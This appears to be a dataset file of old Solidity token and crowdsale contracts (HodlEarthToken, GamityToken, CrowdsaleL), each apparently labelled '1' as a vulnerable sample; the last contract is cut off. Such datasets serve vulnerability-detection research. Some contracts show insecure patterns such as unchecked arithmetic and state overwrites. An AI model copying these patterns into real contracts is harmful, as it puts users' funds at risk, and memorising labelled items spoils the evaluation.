pragma solidity ^0.4.24; interface ERC165 { function supportsInterface(bytes4 _interfaceId) external view returns (bool); } contract ERC721Basic is ERC165 { event Transfer( address indexed _from, address indexed _to, uint256 indexed _tokenId ); event Approval( address indexed _owner, address indexed _approved, uint256 indexed _tokenId ); event ApprovalForAll( address indexed _owner, address indexed _operator, bool _approved ); function balanceOf(address _owner) public view returns (uint256 _balance); function ownerOf(uint256 _tokenId) public view returns (address _owner); function exists(uint256 _tokenId) public view returns (bool _exists); function approve(address _to, uint256 _tokenId) public; function getApproved(uint256 _tokenId) public view returns (address _operator); function setApprovalForAll(address _operator, bool _approved) public; function isApprovedForAll(address _owner, address _operator) public view returns (bool); function transferFrom(address _from, address _to, uint256 _tokenId) public; function safeTransferFrom(address _from, address _to, uint256 _tokenId) public; function safeTransferFrom( address _from, address _to, uint256 _tokenId, bytes _data ) public; } contract ERC721Enumerable is ERC721Basic { function totalSupply() public view returns (uint256); function tokenOfOwnerByIndex( address _owner, uint256 _index ) public view returns (uint256 _tokenId); function tokenByIndex(uint256 _index) public view returns (uint256); } contract ERC721Metadata is ERC721Basic { function name() external view returns (string _name); function symbol() external view returns (string _symbol); function tokenURI(uint256 _tokenId) public view returns (string); } contract ERC721 is ERC721Basic, ERC721Enumerable, ERC721Metadata { } contract ERC721Receiver { bytes4 internal constant ERC721_RECEIVED = 0x150b7a02; function onERC721Received( address _operator, address _from, uint256 _tokenId, bytes _data ) public returns(bytes4); } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } library AddressUtils { function isContract(address addr) internal view returns (bool) { uint256 size; assembly { size := extcodesize(addr) } return size > 0; } } contract SupportsInterfaceWithLookup is ERC165 { bytes4 public constant InterfaceId_ERC165 = 0x01ffc9a7; mapping(bytes4 => bool) internal supportedInterfaces; constructor() public { _registerInterface(InterfaceId_ERC165); } function supportsInterface(bytes4 _interfaceId) external view returns (bool) { return supportedInterfaces[_interfaceId]; } function _registerInterface(bytes4 _interfaceId) internal { require(_interfaceId != 0xffffffff); supportedInterfaces[_interfaceId] = true; } } contract ERC721BasicToken is SupportsInterfaceWithLookup, ERC721Basic { bytes4 private constant InterfaceId_ERC721 = 0x80ac58cd; bytes4 private constant InterfaceId_ERC721Exists = 0x4f558e79; using SafeMath for uint256; using AddressUtils for address; bytes4 private constant ERC721_RECEIVED = 0x150b7a02; mapping (uint256 => address) internal tokenOwner; mapping (uint256 => address) internal tokenApprovals; mapping (address => uint256) internal ownedTokensCount; mapping (address => mapping (address => bool)) internal operatorApprovals; modifier onlyOwnerOf(uint256 _tokenId) { require(ownerOf(_tokenId) == msg.sender); _; } modifier canTransfer(uint256 _tokenId) { require(isApprovedOrOwner(msg.sender, _tokenId)); _; } constructor() public { _registerInterface(InterfaceId_ERC721); _registerInterface(InterfaceId_ERC721Exists); } function balanceOf(address _owner) public view returns (uint256) { require(_owner != address(0)); return ownedTokensCount[_owner]; } function ownerOf(uint256 _tokenId) public view returns (address) { address owner = tokenOwner[_tokenId]; require(owner != address(0)); return owner; } function exists(uint256 _tokenId) public view returns (bool) { address owner = tokenOwner[_tokenId]; return owner != address(0); } function approve(address _to, uint256 _tokenId) public { address owner = ownerOf(_tokenId); require(_to != owner); require(msg.sender == owner || isApprovedForAll(owner, msg.sender)); tokenApprovals[_tokenId] = _to; emit Approval(owner, _to, _tokenId); } function getApproved(uint256 _tokenId) public view returns (address) { return tokenApprovals[_tokenId]; } function setApprovalForAll(address _to, bool _approved) public { require(_to != msg.sender); operatorApprovals[msg.sender][_to] = _approved; emit ApprovalForAll(msg.sender, _to, _approved); } function isApprovedForAll( address _owner, address _operator ) public view returns (bool) { return operatorApprovals[_owner][_operator]; } function transferFrom( address _from, address _to, uint256 _tokenId ) public canTransfer(_tokenId) { require(_from != address(0)); require(_to != address(0)); clearApproval(_from, _tokenId); removeTokenFrom(_from, _tokenId); addTokenTo(_to, _tokenId); emit Transfer(_from, _to, _tokenId); } function safeTransferFrom( address _from, address _to, uint256 _tokenId ) public canTransfer(_tokenId) { safeTransferFrom(_from, _to, _tokenId, ""); } function safeTransferFrom( address _from, address _to, uint256 _tokenId, bytes _data ) public canTransfer(_tokenId) { transferFrom(_from, _to, _tokenId); require(checkAndCallSafeTransfer(_from, _to, _tokenId, _data)); } function isApprovedOrOwner( address _spender, uint256 _tokenId ) internal view returns (bool) { address owner = ownerOf(_tokenId); return ( _spender == owner || getApproved(_tokenId) == _spender || isApprovedForAll(owner, _spender) ); } function _mint(address _to, uint256 _tokenId) internal { require(_to != address(0)); addTokenTo(_to, _tokenId); emit Transfer(address(0), _to, _tokenId); } function _burn(address _owner, uint256 _tokenId) internal { clearApproval(_owner, _tokenId); removeTokenFrom(_owner, _tokenId); emit Transfer(_owner, address(0), _tokenId); } function clearApproval(address _owner, uint256 _tokenId) internal { require(ownerOf(_tokenId) == _owner); if (tokenApprovals[_tokenId] != address(0)) { tokenApprovals[_tokenId] = address(0); } } function addTokenTo(address _to, uint256 _tokenId) internal { require(tokenOwner[_tokenId] == address(0)); tokenOwner[_tokenId] = _to; ownedTokensCount[_to] = ownedTokensCount[_to].add(1); } function removeTokenFrom(address _from, uint256 _tokenId) internal { require(ownerOf(_tokenId) == _from); ownedTokensCount[_from] = ownedTokensCount[_from].sub(1); tokenOwner[_tokenId] = address(0); } function checkAndCallSafeTransfer( address _from, address _to, uint256 _tokenId, bytes _data ) internal returns (bool) { if (!_to.isContract()) { return true; } bytes4 retval = ERC721Receiver(_to).onERC721Received( msg.sender, _from, _tokenId, _data); return (retval == ERC721_RECEIVED); } } contract ERC721Token is SupportsInterfaceWithLookup, ERC721BasicToken, ERC721 { bytes4 private constant InterfaceId_ERC721Enumerable = 0x780e9d63; bytes4 private constant InterfaceId_ERC721Metadata = 0x5b5e139f; string internal name_; string internal symbol_; mapping(address => uint256[]) internal ownedTokens; mapping(uint256 => uint256) internal ownedTokensIndex; uint256[] internal allTokens; mapping(uint256 => uint256) internal allTokensIndex; mapping(uint256 => string) internal tokenURIs; constructor(string _name, string _symbol) public { name_ = _name; symbol_ = _symbol; _registerInterface(InterfaceId_ERC721Enumerable); _registerInterface(InterfaceId_ERC721Metadata); } function name() external view returns (string) { return name_; } function symbol() external view returns (string) { return symbol_; } function tokenURI(uint256 _tokenId) public view returns (string) { require(exists(_tokenId)); return tokenURIs[_tokenId]; } function tokenOfOwnerByIndex( address _owner, uint256 _index ) public view returns (uint256) { require(_index < balanceOf(_owner)); return ownedTokens[_owner][_index]; } function totalSupply() public view returns (uint256) { return allTokens.length; } function tokenByIndex(uint256 _index) public view returns (uint256) { require(_index < totalSupply()); return allTokens[_index]; } function _setTokenURI(uint256 _tokenId, string _uri) internal { require(exists(_tokenId)); tokenURIs[_tokenId] = _uri; } function addTokenTo(address _to, uint256 _tokenId) internal { super.addTokenTo(_to, _tokenId); uint256 length = ownedTokens[_to].length; ownedTokens[_to].push(_tokenId); ownedTokensIndex[_tokenId] = length; } function removeTokenFrom(address _from, uint256 _tokenId) internal { super.removeTokenFrom(_from, _tokenId); uint256 tokenIndex = ownedTokensIndex[_tokenId]; uint256 lastTokenIndex = ownedTokens[_from].length.sub(1); uint256 lastToken = ownedTokens[_from][lastTokenIndex]; ownedTokens[_from][tokenIndex] = lastToken; ownedTokens[_from][lastTokenIndex] = 0; ownedTokens[_from].length--; ownedTokensIndex[_tokenId] = 0; ownedTokensIndex[lastToken] = tokenIndex; } function _mint(address _to, uint256 _tokenId) internal { super._mint(_to, _tokenId); allTokensIndex[_tokenId] = allTokens.length; allTokens.push(_tokenId); } function _burn(address _owner, uint256 _tokenId) internal { super._burn(_owner, _tokenId); if (bytes(tokenURIs[_tokenId]).length != 0) { delete tokenURIs[_tokenId]; } uint256 tokenIndex = allTokensIndex[_tokenId]; uint256 lastTokenIndex = allTokens.length.sub(1); uint256 lastToken = allTokens[lastTokenIndex]; allTokens[tokenIndex] = lastToken; allTokens[lastTokenIndex] = 0; allTokens.length--; allTokensIndex[_tokenId] = 0; allTokensIndex[lastToken] = tokenIndex; } } contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused,"Contract is paused"); _; } modifier whenPaused() { require(paused,"Contract is not paused"); _; } function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } contract HodlEarthToken is ERC721Token, Ownable, Pausable { string public constant name = "HodlEarthToken"; string public constant symbol = "HEAR"; constructor() ERC721Token(name, symbol) public { owner = msg.sender; } mapping (uint256 => bytes7) public plotColours; mapping (uint256 => bytes32) public plotDescriptors; function calculatePlotPrice() public view returns(uint256 currentPlotPrice){ if(totalSupply() < 250000){ currentPlotPrice = 0.0004 * 1000000000000000000; } else currentPlotPrice = 0.001 * 1000000000000000000; } function calculateTransactionFee(uint256 _noPlots,bool _updatePlot) public pure returns(uint256 fee){ uint256 plotPrice; plotPrice = 0.001 * 1000000000000000000; fee = plotPrice.div(10); fee = fee.mul(_noPlots); if(_updatePlot == false){ uint256 minFee = 0.001 * 1000000000000000000; if(fee < minFee) fee = minFee; } } function transferFrom(address _from, address _to, uint256 _tokenId) public whenNotPaused{ super.transferFrom(_from,_to,_tokenId); } function safeTransferFrom(address _from, address _to, uint256 _tokenId) public whenNotPaused{ super.safeTransferFrom(_from,_to,_tokenId); } function safeTransferFrom(address _from,address _to,uint256 _tokenId,bytes _data) public whenNotPaused{ super.safeTransferFrom(_from,_to,_tokenId,_data); } function getPlot(uint256 _plotLat,uint256 _plotLng) public view returns(uint256 plotReference,bytes7 colour,bytes32 descriptor){ plotReference = _generatePlotReference(_plotLat,_plotLng); colour = plotColours[plotReference]; descriptor = plotDescriptors[plotReference]; } function getPlotByReference(uint256 _plotReference) public view returns(bytes7 colour,bytes32 descriptor){ colour = plotColours[_plotReference]; descriptor = plotDescriptors[_plotReference]; } function getPlots(uint256[] _plotLats,uint256[] _plotLngs) public view returns(uint256[],bytes7[],bytes32[]){ uint arrayLength = _plotLats.length; uint256 plotReference; uint256[] memory plotIds = new uint[](arrayLength); bytes7[] memory colours = new bytes7[](arrayLength); bytes32[] memory descriptors = new bytes32[](arrayLength); for (uint i=0; i<arrayLength; i++) { plotReference = _generatePlotReference(_plotLats[i],_plotLngs[i]); plotIds[i] = plotReference; colours[i] = plotColours[plotReference]; descriptors[i] = plotDescriptors[plotReference]; } return(plotIds,colours,descriptors); } function getPlotsByReference(uint256[] _plotReferences) public view returns(uint256[],bytes7[],bytes32[]){ uint arrayLength = _plotReferences.length; uint256[] memory plotIds = new uint[](arrayLength); bytes7[] memory colours = new bytes7[](arrayLength); bytes32[] memory descriptors = new bytes32[](arrayLength); for (uint i=0; i<arrayLength; i++) { plotIds[i] = _plotReferences[i]; colours[i] = plotColours[_plotReferences[i]]; descriptors[i] = plotDescriptors[_plotReferences[i]]; } return(plotIds,colours,descriptors); } function newPlot(uint256 _plotLat,uint256 _plotLng,bytes7 _colour,bytes32 _title) public payable whenNotPaused{ uint256 plotReference; bool validLatLng; uint256 plotPrice; uint256 transactionFee; plotPrice = calculatePlotPrice(); transactionFee = calculateTransactionFee(1,false); if(msg.sender != owner){ require( msg.value >= plotPrice + transactionFee, "Insufficient Eth sent." ); } validLatLng = validatePlotLatLng(_plotLat,_plotLng); require( validLatLng == true, "Lat long is invalid" ); plotReference = _generatePlotReference(_plotLat,_plotLng); require( plotColours[plotReference] == 0, "Plot already exists." ); _addPlot(plotReference,_colour,_title); } function newPlots(uint256[] _plotLat,uint256[] _plotLng,bytes7[] _colours,bytes32[] _descriptors) public payable whenNotPaused{ uint256 noPlots = _plotLat.length; bytes7 colour; bytes32 descriptor; uint256 plotReference; bool validLatLng; uint256 plotPrice; uint256 transactionFee; plotPrice = calculatePlotPrice(); transactionFee = calculateTransactionFee(noPlots,false); if(msg.sender != owner){ require( msg.value >= plotPrice.mul(noPlots) + transactionFee, "Insufficient Eth sent." ); } for (uint i=0; i<noPlots; i++) { colour = _colours[i]; descriptor = _descriptors[i]; validLatLng = validatePlotLatLng(_plotLat[i],_plotLng[i]); require( validLatLng == true, "Lat long is invalid" ); plotReference = _generatePlotReference(_plotLat[i],_plotLng[i]); require( plotColours[plotReference] == 0, "Plot already exists." ); _addPlot(plotReference,colour,descriptor); } } function _generatePlotReference(uint256 _plotLat,uint256 _plotLng) internal pure returns(uint256 plotReference){ plotReference = (_plotLat * 1000000000) + _plotLng; } function _addPlot(uint256 _plotReference,bytes7 _colour,bytes32 _descriptor) private{ plotColours[_plotReference] = _colour; plotDescriptors[_plotReference] = _descriptor; _mint(msg.sender, _plotReference); } function validatePlotLatLng(uint256 _lat,uint256 _lng) public pure returns(bool){ if(_lat%5 == 0 && _lng%8 == 0) return true; return false; } function updatePlot(uint256 _plotLat,uint256 _plotLng,bytes7 _colour,bytes32 _descriptor) public payable whenNotPaused{ uint256 plotReference; uint256 transactionFee; plotReference = _generatePlotReference(_plotLat,_plotLng); transactionFee = calculateTransactionFee(1,true); require( ownerOf(plotReference) == msg.sender, "Update can only be carried out by the plot owner." ); if(msg.sender != owner){ require( msg.value >= transactionFee, "Insufficient Eth sent." ); } require( plotColours[plotReference] != 0, "Plot does not exist." ); plotColours[plotReference] = _colour; plotDescriptors[plotReference] = _descriptor; } function updatePlots(uint256[] _plotLat,uint256[] _plotLng,bytes7[] _colours,bytes32[] _descriptors) public payable whenNotPaused{ uint256 noPlots = _plotLat.length; bytes7 colour; bytes32 descriptor; uint256 plotReference; uint256 transactionFee; transactionFee = calculateTransactionFee(noPlots,true); if(msg.sender != owner){ require( msg.value >= transactionFee, "Insufficient Eth sent." ); } for (uint i=0; i<noPlots; i++) { colour = _colours[i]; descriptor = _descriptors[i]; plotReference = _generatePlotReference(_plotLat[i],_plotLng[i]); require( plotColours[plotReference] != 0, "Plot does not exist." ); require( ownerOf(plotReference) == msg.sender, "Update can only be carried out by the plot owner." ); plotColours[plotReference] = colour; plotDescriptors[plotReference] = descriptor; } } function withdraw() public onlyOwner returns(bool) { owner.transfer(address(this).balance); return true; } }
1
pragma solidity ^0.4.13; library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) constant returns (uint256); function transfer(address to, uint256 value) returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) constant returns (uint256); function transferFrom(address from, address to, uint256 value) returns (bool); function approve(address spender, uint256 value) returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; function transfer(address _to, uint256 _value) returns (bool) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; function transferFrom(address _from, address _to, uint256 _value) returns (bool) { var _allowance = allowed[_from][msg.sender]; balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) returns (bool) { require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } } contract Ownable { address public owner; function Ownable() { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused { require(paused); _; } function pause() onlyOwner whenNotPaused returns (bool) { paused = true; Pause(); return true; } function unpause() onlyOwner whenPaused returns (bool) { paused = false; Unpause(); return true; } } contract GamityToken is StandardToken, Pausable { string public constant name = 'preGamity'; string public constant symbol = 'preGMT'; uint8 public constant decimals = 8; uint256 public constant INITIAL_SUPPLY = 500000 * 10**uint256(decimals); function GamityToken() { totalSupply = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; } function transfer(address _to, uint256 _value) whenNotPaused returns (bool) { require(_to != address(0)); return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) whenNotPaused returns (bool) { require(_to != address(0)); return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) whenNotPaused returns (bool) { return super.approve(_spender, _value); } }
1
pragma solidity ^0.4.18; contract CrowdsaleL{ using SafeMath for uint256; enum TokenSaleType {round1, round2} enum Roles {beneficiary, accountant, manager, observer, bounty, team, company} address constant TaxCollector = 0x0; uint256[2] TaxValues = [0 finney, 0 finney]; uint8 vaultNum; TokenL public token; bool public isFinalized; bool public isInitialized; bool public isPausedCrowdsale; mapping (uint8 => address) public wallets; struct Profit{ uint256 min; uint256 max; uint256 step; uint256 maxAllProfit; } struct Bonus { uint256 value; uint256 procent; uint256 freezeTime; } Bonus[] public bonuses; Profit public profit = Profit(0, 20, 5, 100); uint256 public startTime= 1515974400; uint256 public endDiscountTime = 1520294400; uint256 public endTime = 1520294400; uint256 public rate = 5668000; uint256 public softCap = 0 ether; uint256 public hardCap = 802 ether; uint256 public overLimit = 20 ether; uint256 public minPay = 70 finney; uint256 ethWeiRaised; uint256 nonEthWeiRaised; uint256 weiRound1; uint256 public tokenReserved; RefundVault public vault; SVTAllocation public lockedAllocation; TokenSaleType TokenSale = TokenSaleType.round1; uint256 allToken; bool public bounty; bool public team; bool public company; event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); event Finalized(); event Initialized(); function CrowdsaleL(TokenL _token, uint256 firstMint) public { wallets[uint8(Roles.beneficiary)] = 0x07544edde0542857277188598606B32F2C28062F; wallets[uint8(Roles.accountant)] = 0x31e78568a5E53C568711dd139Ec99d775E9fB80b; wallets[uint8(Roles.manager)] = msg.sender; wallets[uint8(Roles.observer)] = 0x7FF83C688CaC62f5944C694CF04bF3f30ec19608; wallets[uint8(Roles.bounty)] = 0x17194d2cA481d2533A147776BeB471DC40dc4580; wallets[uint8(Roles.team)] = 0x443f4Be0f50f973e3970343c6A50bcf1Ac66c6C3; wallets[uint8(Roles.company)] = 0xb4D429B3240616FA67D1509c0C0E48D11900dd18; token = _token; token.setOwner(); token.pause(); token.addUnpausedWallet(wallets[uint8(Roles.accountant)]); token.addUnpausedWallet(msg.sender); token.addUnpausedWallet(wallets[uint8(Roles.bounty)]); token.addUnpausedWallet(wallets[uint8(Roles.company)]); if (firstMint > 0) { token.mint(msg.sender, firstMint); } } function getTokenSaleType() public constant returns(string){ return (TokenSale == TokenSaleType.round1)?'round1':'round2'; } function forwardFunds() internal { vault.deposit.value(msg.value)(msg.sender); } function validPurchase() internal constant returns (bool) { bool withinPeriod = (now > startTime && now < endTime); bool nonZeroPurchase = msg.value >= minPay; bool withinCap = msg.value <= hardCap.sub(weiRaised()).add(overLimit); return withinPeriod && nonZeroPurchase && withinCap && isInitialized && !isPausedCrowdsale; } function hasEnded() public constant returns (bool) { bool timeReached = now > endTime; bool capReached = weiRaised() >= hardCap; return (timeReached || capReached) && isInitialized; } function finalizeAll() external { finalize(); finalize1(); finalize2(); finalize3(); } function finalize() public { require(wallets[uint8(Roles.manager)] == msg.sender || wallets[uint8(Roles.beneficiary)] == msg.sender || !goalReached()); require(!isFinalized); require(hasEnded()); isFinalized = true; finalization(); Finalized(); } function finalization() internal { if (goalReached()) { vault.close(wallets[uint8(Roles.beneficiary)]); if (tokenReserved > 0) { token.mint(wallets[uint8(Roles.accountant)],tokenReserved); tokenReserved = 0; } if (TokenSale == TokenSaleType.round1) { isInitialized = false; isFinalized = false; TokenSale = TokenSaleType.round2; weiRound1 = weiRaised(); ethWeiRaised = 0; nonEthWeiRaised = 0; } else { allToken = token.totalSupply(); bounty = true; team = true; company = true; } } else { vault.enableRefunds(); } } function finalize1() public { require(wallets[uint8(Roles.manager)] == msg.sender || wallets[uint8(Roles.beneficiary)] == msg.sender); require(team); team = false; lockedAllocation = new SVTAllocation(token, wallets[uint8(Roles.team)]); token.addUnpausedWallet(lockedAllocation); token.mint(lockedAllocation,allToken.mul(12).div(77)); } function finalize2() public { require(wallets[uint8(Roles.manager)] == msg.sender || wallets[uint8(Roles.beneficiary)] == msg.sender); require(bounty); bounty = false; token.mint(wallets[uint8(Roles.bounty)],allToken.mul(2).div(77)); } function finalize3() public { require(wallets[uint8(Roles.manager)] == msg.sender || wallets[uint8(Roles.beneficiary)] == msg.sender); require(company); company = false; token.mint(wallets[uint8(Roles.company)],allToken.mul(9).div(77)); } function initialize() public { require(wallets[uint8(Roles.manager)] == msg.sender); require(!isInitialized); require(now <= startTime); initialization(); Initialized(); isInitialized = true; } function initialization() internal { uint256 taxValue = TaxValues[vaultNum]; vaultNum++; uint256 arrear; if (address(vault) != 0x0){ arrear = DistributorRefundVault(vault).taxValue(); vault.del(wallets[uint8(Roles.beneficiary)]); } vault = new DistributorRefundVault(TaxCollector, taxValue.add(arrear)); } function claimRefund() public{ vault.refund(msg.sender); } function goalReached() public constant returns (bool) { return weiRaised() >= softCap; } function setup(uint256 _startTime, uint256 _endDiscountTime, uint256 _endTime, uint256 _softCap, uint256 _hardCap, uint256 _rate, uint256 _overLimit, uint256 _minPay, uint256 _minProfit, uint256 _maxProfit, uint256 _stepProfit, uint256 _maxAllProfit, uint256[] _value, uint256[] _procent, uint256[] _freezeTime) public{ changePeriod(_startTime, _endDiscountTime, _endTime); changeTargets(_softCap, _hardCap); changeRate(_rate, _overLimit, _minPay); changeDiscount(_minProfit, _maxProfit, _stepProfit, _maxAllProfit); setBonuses(_value, _procent, _freezeTime); } function changePeriod(uint256 _startTime, uint256 _endDiscountTime, uint256 _endTime) public{ require(wallets[uint8(Roles.manager)] == msg.sender); require(!isInitialized); require(now <= _startTime); require(_endDiscountTime > _startTime && _endDiscountTime <= _endTime); startTime = _startTime; endTime = _endTime; endDiscountTime = _endDiscountTime; } function changeTargets(uint256 _softCap, uint256 _hardCap) public { require(wallets[uint8(Roles.manager)] == msg.sender); require(!isInitialized); require(_softCap <= _hardCap); softCap = _softCap; hardCap = _hardCap; } function changeRate(uint256 _rate, uint256 _overLimit, uint256 _minPay) public { require(wallets[uint8(Roles.manager)] == msg.sender); require(!isInitialized); require(_rate > 0); rate = _rate; overLimit = _overLimit; minPay = _minPay; } function changeDiscount(uint256 _minProfit, uint256 _maxProfit, uint256 _stepProfit, uint256 _maxAllProfit) public { require(wallets[uint8(Roles.manager)] == msg.sender); require(!isInitialized); require(_maxProfit <= _maxAllProfit); require(_stepProfit <= _maxProfit.sub(_minProfit)); if(_stepProfit > 0){ profit.max = _maxProfit.sub(_minProfit).div(_stepProfit).mul(_stepProfit).add(_minProfit); }else{ profit.max = _minProfit; } profit.min = _minProfit; profit.step = _stepProfit; profit.maxAllProfit = _maxAllProfit; } function setBonuses(uint256[] _value, uint256[] _procent, uint256[] _dateUnfreeze) public { require(wallets[uint8(Roles.manager)] == msg.sender); require(!isInitialized); require(_value.length == _procent.length && _value.length == _dateUnfreeze.length); bonuses.length = _value.length; for(uint256 i = 0; i < _value.length; i++){ bonuses[i] = Bonus(_value[i],_procent[i],_dateUnfreeze[i]); } } function weiRaised() public constant returns(uint256){ return ethWeiRaised.add(nonEthWeiRaised); } function weiTotalRaised() public constant returns(uint256){ return weiRound1.add(weiRaised()); } function getProfitPercent() public constant returns (uint256){ return getProfitPercentForData(now); } function getProfitPercentForData(uint256 timeNow) public constant returns (uint256){ if (profit.max == 0 || profit.step == 0 || timeNow > endDiscountTime){ return profit.min; } if (timeNow<=startTime){ return profit.max; } uint256 range = endDiscountTime.sub(startTime); uint256 profitRange = profit.max.sub(profit.min); uint256 timeRest = endDiscountTime.sub(timeNow); uint256 profitProcent = profitRange.div(profit.step).mul(timeRest.mul(profit.step.add(1)).div(range)); return profitProcent.add(profit.min); } function getBonuses(uint256 _value) public constant returns(uint256 procent, uint256 _dateUnfreeze){ if(bonuses.length == 0 || bonuses[0].value > _value){ return (0,0); } uint16 i = 1; for(i; i < bonuses.length; i++){ if(bonuses[i].value > _value){ break; } } return (bonuses[i-1].procent,bonuses[i-1].freezeTime); } function fastTokenSale(uint256 _totalSupply) public { require(wallets[uint8(Roles.manager)] == msg.sender); require(TokenSale == TokenSaleType.round1 && !isInitialized); token.mint(wallets[uint8(Roles.accountant)], _totalSupply); TokenSale = TokenSaleType.round2; } function tokenUnpause() public { require(wallets[uint8(Roles.manager)] == msg.sender || (now > endTime + 60 days && TokenSale == TokenSaleType.round2 && isFinalized && goalReached())); token.unpause(); } function tokenPause() public { require(wallets[uint8(Roles.manager)] == msg.sender && !isFinalized); token.pause(); } function crowdsalePause() public { require(wallets[uint8(Roles.manager)] == msg.sender); require(isPausedCrowdsale == false); isPausedCrowdsale = true; } function crowdsaleUnpause() public { require(wallets[uint8(Roles.manager)] == msg.sender); require(isPausedCrowdsale == true); isPausedCrowdsale = false; } function unpausedWallet(address _wallet) internal constant returns(bool) { bool _accountant = wallets[uint8(Roles.accountant)] == _wallet; bool _manager = wallets[uint8(Roles.manager)] == _wallet; bool _bounty = wallets[uint8(Roles.bounty)] == _wallet; bool _company = wallets[uint8(Roles.company)] == _wallet; return _accountant || _manager || _bounty || _company; } function moveTokens(address _migrationAgent) public { require(wallets[uint8(Roles.manager)] == msg.sender); token.setMigrationAgent(_migrationAgent); } function migrateAll(address[] _holders) public { require(wallets[uint8(Roles.manager)] == msg.sender); token.migrateAll(_holders); } function changeWallet(Roles _role, address _wallet) public { require( (msg.sender == wallets[uint8(_role)] && _role != Roles.observer) || (msg.sender == wallets[uint8(Roles.manager)] && (!isInitialized || _role == Roles.observer)) ); address oldWallet = wallets[uint8(_role)]; wallets[uint8(_role)] = _wallet; if(!unpausedWallet(oldWallet)) token.delUnpausedWallet(oldWallet); if(unpausedWallet(_wallet)) token.addUnpausedWallet(_wallet); } function distructVault() public { require(wallets[uint8(Roles.beneficiary)] == msg.sender); require(now > startTime + 400 days); vault.del(wallets[uint8(Roles.beneficiary)]); } function paymentsInOtherCurrency(uint256 _token, uint256 _value) public { require(wallets[uint8(Roles.observer)] == msg.sender); bool withinPeriod = (now >= startTime && now <= endTime); bool withinCap = _value.add(ethWeiRaised) <= hardCap.add(overLimit); require(withinPeriod && withinCap && isInitialized); nonEthWeiRaised = _value; tokenReserved = _token; } function changeLock(address _owner, uint256 _value, uint256 _date) external { require(wallets[uint8(Roles.manager)] == msg.sender); token.changeLock(_owner, _value, _date); } function lokedMint(address _beneficiary, uint256 _value, uint256 _freezeTime) internal { if(_freezeTime > 0){ uint256 totalBloked = token.valueBlocked(_beneficiary).add(_value); uint256 pastDateUnfreeze = token.blikedUntil(_beneficiary); uint256 newDateUnfreeze = _freezeTime + now; newDateUnfreeze = (pastDateUnfreeze > newDateUnfreeze ) ? pastDateUnfreeze : newDateUnfreeze; token.changeLock(_beneficiary,totalBloked,newDateUnfreeze); } token.mint(_beneficiary,_value); } function buyTokens(address beneficiary) public payable { require(beneficiary != 0x0); require(validPurchase()); uint256 weiAmount = msg.value; uint256 ProfitProcent = getProfitPercent(); var (bonus, dateUnfreeze) = getBonuses(weiAmount); uint256 totalProfit = bonus.add(ProfitProcent); totalProfit = (totalProfit > profit.maxAllProfit)? profit.maxAllProfit: totalProfit; uint256 tokens = weiAmount.mul(rate).mul(totalProfit + 100).div(100000); ethWeiRaised = ethWeiRaised.add(weiAmount); lokedMint(beneficiary, tokens, dateUnfreeze); TokenPurchase(msg.sender, beneficiary, weiAmount, tokens); forwardFunds(); } function () public payable { buyTokens(msg.sender); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public{ require(newOwner != address(0)); owner = newOwner; } } contract Pausable is Ownable { event Pause(); event Unpause(); bool _paused = false; function paused() public constant returns(bool) { return _paused; } modifier whenNotPaused() { require(!paused()); _; } function pause() onlyOwner public { require(!_paused); _paused = true; Pause(); } function unpause() onlyOwner 